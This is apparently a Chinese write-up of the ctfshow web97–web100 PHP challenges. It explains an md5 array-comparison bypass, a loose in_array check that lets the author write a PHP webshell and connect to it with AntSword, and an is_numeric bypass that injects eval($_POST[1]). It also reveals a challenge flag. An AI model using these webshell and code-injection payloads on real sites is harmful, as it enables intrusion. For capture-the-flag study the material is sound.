web97

要求POST传参,a不能等于b,但是a和b的md5值要相同,但是md5这个函数呢有个漏洞,传入的参数为数组的时候会发生错误,并返回NULL。
1 | a[]=123&b[]=1234 |
web98

1 | 分析上面的代码可以看出来,只要有输入的get参数就将get方法改变为post方法(修改了get方法 |
1 | GET:?1=1 |
web99

1 | array(),是空数组定义,题中定义了$allow为空数组 |
因为in_array第三个参数没设置为true,所以该函数是宽松比较(==),字符串型会先转化为整型再比较,只要值相同就可以了,所以我们可以传参写木马进去.
1 | ?n=1.php |
然后用蚁剑连接
web100

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
v1一定要是个数字,v2不能有分号,v3必须有分号。
1 | get:/?v1=1&v2=eval($_POST[1])?> %23&v3=; |
1 | $flag_is_3110c36f0x2df28a0x2d4b840x2dbe0f0x2d2c4f600a4b95; |
0x2d是-,换上后加上ctfshow{}就可以了